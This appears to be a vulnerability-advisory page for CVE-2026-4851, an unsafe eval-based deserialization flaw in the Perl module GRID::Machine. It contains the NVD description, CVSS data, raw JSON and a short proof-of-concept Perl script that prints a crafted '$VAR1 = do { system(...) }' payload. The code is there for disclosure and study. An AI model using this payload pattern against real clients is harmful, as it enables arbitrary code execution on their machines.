Security Vulnerability Report
中文
CVE-2026-4851 CVSS 9.8 CRITICAL

CVE-2026-4851

Published: 2026-03-29 01:15:57
Last Modified: 2026-04-01 15:23:24
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

GRID::Machine versions through 0.127 for Perl allows arbitrary code execution via unsafe deserialization. GRID::Machine provides Remote Procedure Calls (RPC) over SSH for Perl. The client connects to remote hosts to execute code on them. A compromised or malicious remote host can execute arbitrary code back on the client through unsafe deserialization in the RPC protocol. read_operation() in lib/GRID/Machine/Message.pm deserialises values from the remote side using eval() $arg .= '$VAR1'; my $val = eval "no strict; $arg"; # line 40-41 $arg is raw bytes from the protocol pipe. A compromised remote host can embed arbitrary perl in the Dumper-formatted response: $VAR1 = do { system("..."); }; This executes on the client silently on every RPC call, as the return values remain correct. This functionality is by design but the trust requirement for the remote host is not documented in the distribution.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:casiano:grid\:\:machine:*:*:*:*:*:perl:*:* - VULNERABLE
GRID::Machine <= 0.127

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl # PoC for CVE-2026-4851 # This script simulates a malicious remote server response # that exploits the unsafe deserialization in GRID::Machine client. use strict; use warnings; # The GRID::Machine client expects a data structure. # Vulnerable code in client: $arg .= '$VAR1'; my $val = eval "no strict; $arg"; # Craft a payload that executes 'id' command on the client. # The payload is formatted to look like a valid Dumper response. my $malicious_payload = '$VAR1 = do { system("echo \'[+] CVE-2026-4851 Exploited on Client\'"); };'; # Simulate sending this payload to the client via the protocol pipe print "[Malicious Server] Sending payload to client...\n"; print $malicious_payload . "\n"; # Explanation: # When the client receives this string, it appends '$VAR1' (which is redundant here but harmless) # and executes it via eval. # Result: The client machine executes the 'echo' command.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4851", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-03-29T01:15:56.967", "lastModified": "2026-04-01T15:23:23.980", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "GRID::Machine versions through 0.127 for Perl allows arbitrary code execution via unsafe deserialization.\n\nGRID::Machine provides Remote Procedure Calls (RPC) over SSH for Perl. The client connects to remote hosts to execute code on them. A compromised or malicious remote host can execute arbitrary code back on the client through unsafe deserialization in the RPC protocol.\n\nread_operation() in lib/GRID/Machine/Message.pm deserialises values from the remote side using eval()\n\n $arg .= '$VAR1';\n my $val = eval \"no strict; $arg\"; # line 40-41\n\n$arg is raw bytes from the protocol pipe. A compromised remote host can embed arbitrary perl in the Dumper-formatted response:\n\n $VAR1 = do { system(\"...\"); };\n\nThis executes on the client silently on every RPC call, as the return values remain correct.\n\nThis functionality is by design but the trust requirement for the remote host is not documented in the distribution."}, {"lang": "es", "value": "Las versiones de GRID::Machine hasta la 0.127 para Perl permiten ejecución de código arbitrario a través de deserialización insegura.\n\nGRID::Machine proporciona Llamadas a Procedimientos Remotos (RPC) sobre SSH para Perl. El cliente se conecta a hosts remotos para ejecutar código en ellos. Un host remoto comprometido o malicioso puede ejecutar código arbitrario de vuelta en el cliente a través de deserialización insegura en el protocolo RPC.\n\nread_operation() en lib/GRID/Machine/Message.pm deserializa valores del lado remoto usando eval()\n\n $arg .= '$VAR1';\n my $val = eval \"no strict; $arg\"; # línea 40-41\n\n$arg son bytes en bruto de la tubería del protocolo. Un host remoto comprometido puede incrustar Perl arbitrario en la respuesta con formato Dumper:\n\n $VAR1 = do { system(\"...\"); };\n\nEsto se ejecuta en el cliente silenciosamente en cada llamada RPC, ya que los valores de retorno permanecen correctos.\n\nEsta funcionalidad es intencional, pero el requisito de confianza para el host remoto no está documentado en la distribución."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-95"}, {"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:casiano:grid\\:\\:machine:*:*:*:*:*:perl:*:*", "versionEndIncluding": "0.127", "matchCriteriaId": "B3148991-8DC2-4D2F-8EC2-0DCB0E5B6A63"}]}]}], "references": [{"url": "https://www.openwall.com/lists/oss-security/2026/03/26/6", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Mailing List"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/26/6", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}